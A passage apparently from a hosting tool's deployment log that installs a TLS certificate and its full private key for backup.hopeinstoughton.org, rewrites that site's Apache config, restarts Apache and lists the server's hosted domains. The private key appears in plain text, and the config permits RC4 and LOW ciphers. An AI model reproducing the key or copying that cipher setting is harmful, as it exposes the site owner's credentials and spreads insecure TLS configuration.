Iva2GwqV/EsrlV/sCpUNR1w6KZ3l1+5rYkQt1vwgL3eWoTmx5uEI064mXhGVPNrE
1bUZucN0bS/jqAFsWJkuk8wfDnlLPSWLjQBO7JyqUhdtDXUVT8vKNOCHz2YZLN7Q
xMp6U7w00BmqormAio7FdBIIseawOq3MOCorDQjKBeaygdTIvAe42z7lGUHasJ4f
/J+JqAjxypshyJM21jzAsj3Iy9az3Zaqle30f/sCAwEAAaOCAiowggImMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUsO5/MBnKMFvKoLwcRE19WoTR89YwHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpiYWNrdXAu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzEwLmNybDCCAQQGCisG
AQQB1nkCBAIEgfUEgfIA8AB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJ
fc3wAAABmdHbHAsAAAQDAEcwRQIgP3FCcBYSolBv6jLRFV59Lq/p34YwEp/eodlR
f9DwDIYCIQC367qcifNBvsAqHEcTTkMZX42FFLCv5pf9Lr+rL1nWewB2ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmdHbHA8AAAQDAEcwRQIhAO2J
uUklsSORId1ULUksNseqhmydJ74dvSxCkr5/eibPAiAbBk75Gz7nRbTLaiRhwE4k
4F8pZVZIuhkIoAHQC1geujANBgkqhkiG9w0BAQsFAAOCAQEAAmlBemGvAvxzAJZR
+CGJfZB5LNqCwSwIKHCJhtOGvSJHFASjAWGpuPNHE9C3CQgFS9sg9OM2HTSNdJPu
xLnY3rumdJ3k/8HaEsokEjQHqxQ/yhBwb9EIrsZr9u0AriQ/uN4IagTVJKyAvnsD
joevkp9d75Xs3jDen7vgtHjaGzJ5suj6zDhkhxdE8YDrOOVA5ZJu05Bvtt4/4DeB
/oWgIP3+8BMiNFuPluxrzn84puw/tzGCMmOebAed3tEMK3JeHFfF9d8h35Whkubo
krxMzhUOaTW2SFJ5mwmHy30MxoFNobgKpzMadkIXeQ/jDEpG9rCr9JcP0A/6Nv5z
190dVg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDsCz2tJrgVCWp1
4v66aWQ4zgi3xgPBpMi22gCOcrZ3aK0U2OMcyGhyCwHExJoCCoLAwrNLsW/JmGgZ
ArjD3ICoFbDUf27Utee0Zgro0jRA2p5Q0iL2thsKlfxLK5Vf7AqVDUdcOimd5dfu
a2JELdb8IC93lqE5sebhCNOuJl4RlTzaxNW1GbnDdG0v46gBbFiZLpPMHw55Sz0l
i40ATuycqlIXbQ11FU/LyjTgh89mGSze0MTKelO8NNAZqqK5gIqOxXQSCLHmsDqt
zDgqKw0IygXmsoHUyLwHuNs+5RlB2rCeH/yfiagI8cqbIciTNtY8wLI9yMvWs92W
qpXt9H/7AgMBAAECggEBAIb9xsAHrK8bO28/6j3hmBeEfSfcbrmH6+Hmuvq8T+3q
R1Hs17XWRyUxdkl5xjn0mOJ0duWLDEtWhfIHxHL+3/VAsmhUmKW9gk2BLiwISynr
3S6LfsNpUf2z2R2ER2EcNNEZTv5HpRVQJTWM5B3puVFndr4Fvx6nx0pbKfQmrRWQ
EpMBke7tnLtsu4/CXZbu74yKCnKNZZFpu4hpS4W6xwPXSYLpUvRI7rwsnzcg3xv4
RI3m6D987NCX6F91FGG/fgMAV31BOBWszTkw2vzXIiJNFHSICK/2fmhafkmPkKAp
wjmcR3VG6S6FXNzmmOpQj6rqhvvViP1GMc5jFpGtKUECgYEA+V1gHc7P4n4bWFgY
FvFeM42RsFjr+oSVg1OsWITwglCn08hEaRcVs83w0FeJrVmKYAw9oDQIZpxHn7k0
WV2S/miF7XQM7RlXmuVIpQ9p2yg9E2fE7CtDGPnjl3ZZ+5rSPkvImRUEbWBjdBu1
TQL2YRoyxSRT5vISsLcevvrKeCcCgYEA8lMgYaubA74nCSxlWUONXN3Bx3ERzMPP
Q8cFC52yJlTDnjSVSS9qoiGd+SMVejV9QZskxxr46x6xL1fKktx5pwQ3le71csqU
qAxIpDktEOr+HszDT3JWtc3lLM5LqTYSGhsNqzitWOSsNEauZXtQSlN/wsNBK1zZ
PqfHCcoaKg0CgYB/hNqkI6B3aJm/Qb1/7gqIPnskPTTftXFn6SAXXFRJr8lDKgSh
4SY9/rCJOlqzhTiYCWpyRGmPX5fY/DLjCFElPHpQhaoejXkZQus1TX6Kjjc9dzFi
vHThjthuGh3F5tRg+wwoDHFpJYN2Wr0KFtu7qFQSMJOfZGdeayaT71gevQKBgHKO
hbJms+OzEzUs/cSTQNL0KtWkSGvq7aL3BRWWuU+RpuC1rxVoCxsWlV3gDhk2DD7l
nx9ZSu+sFMtyz1taS1B/l9+TlglsZ5aCKB0qwnlK/lOFLZfzT7am3X6vD+mwnCIn
Q/D73Ec344jbGTr0buKUUsO6FqbvP+x02I1yM6hJAoGAHqxbqKEiJibOdBwusvPU
u5+YNgExpu9DLfwb6EHjALE3rtV32LqVtqno+gOxO1h30oMERQHx2LdrJViedBOk
G94dydnV6CGSQReU29Y2tEij1zva1qI+CM0WEshgXyGV/sJLRnnzXcYmvPU4LeKD
559NVKCpPvHGKoyMPc5PIbk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-11 06:00:22: 

chmod 755 /tmp/pkp679802; /tmp/pkp679802; rm /tmp/pkp679802

2025-10-11 06:00:22: 


dir=/etc/ssl/certs


2025-10-11 06:00:22: 

PUT: /tmp/pkp826965

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-11 06:00:22: 

chmod 755 /tmp/pkp826965; /tmp/pkp826965; rm /tmp/pkp826965

2025-10-11 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf 50

<VirtualHost *:80>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-11 06:00:22: 

PUT: /tmp/pkp147929

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_backup_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf= 1'
fi


2025-10-11 06:00:22: 

chmod 755 /tmp/pkp147929; /tmp/pkp147929; rm /tmp/pkp147929

2025-10-11 06:00:22: 




2025-10-11 06:00:22: 

PUT: /tmp/pkp157390

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-11 06:00:22: 

chmod 755 /tmp/pkp157390; /tmp/pkp157390; rm /tmp/pkp157390

2025-10-11 06:00:22: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-11 06:00:22: Establishing a connection
2025-10-11 06:00:22: 

PUT: /tmp/pkp768722

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-11 06:00:23: 

chmod 755 /tmp/pkp768722; /tmp/pkp768722; rm /tmp/pkp768722

2025-10-11 06:00:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-11 06:00:23: 

PUT: /tmp/pkp984807

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-11 06:00:23: 

chmod 755 /tmp/pkp984807; /tmp/pkp984807; rm /tmp/pkp984807

2025-10-11 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf	1700

<VirtualHost *:80>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-11 06:00:23: 

PUT: /tmp/pkp559235

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-11 06:00:23: 

chmod 755 /tmp/pkp559235; /tmp/pkp559235; rm /tmp/pkp559235

2025-10-11 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt	5378
39:fa:56:96:7c:9c:ef:09:cd:89:bc:b9:8c:12:bd:d9

-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBpoVeLQ21oNzNDWIm7j+xLgJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMTUxWhcNMjYwMTA5MDUwMTUwWjAlMSMwIQYDVQQD
ExpiYWNrdXAuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAOwLPa0muBUJanXi/rppZDjOCLfGA8GkyLbaAI5ytndorRTY
4xzIaHILAcTEmgIKgsDCs0uxb8mYaBkCuMPcgKgVsNR/btS157RmCujSNEDanlDS
Iva2GwqV/EsrlV/sCpUNR1w6KZ3l1+5rYkQt1vwgL3eWoTmx5uEI064mXhGVPNrE
1bUZucN0bS/jqAFsWJkuk8wfDnlLPSWLjQBO7JyqUhdtDXUVT8vKNOCHz2YZLN7Q
xMp6U7w00BmqormAio7FdBIIseawOq3MOCorDQjKBeaygdTIvAe42z7lGUHasJ4f
/J+JqAjxypshyJM21jzAsj3Iy9az3Zaqle30f/sCAwEAAaOCAiowggImMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUsO5/MBnKMFvKoLwcRE19WoTR89YwHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpiYWNrdXAu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzEwLmNybDCCAQQGCisG
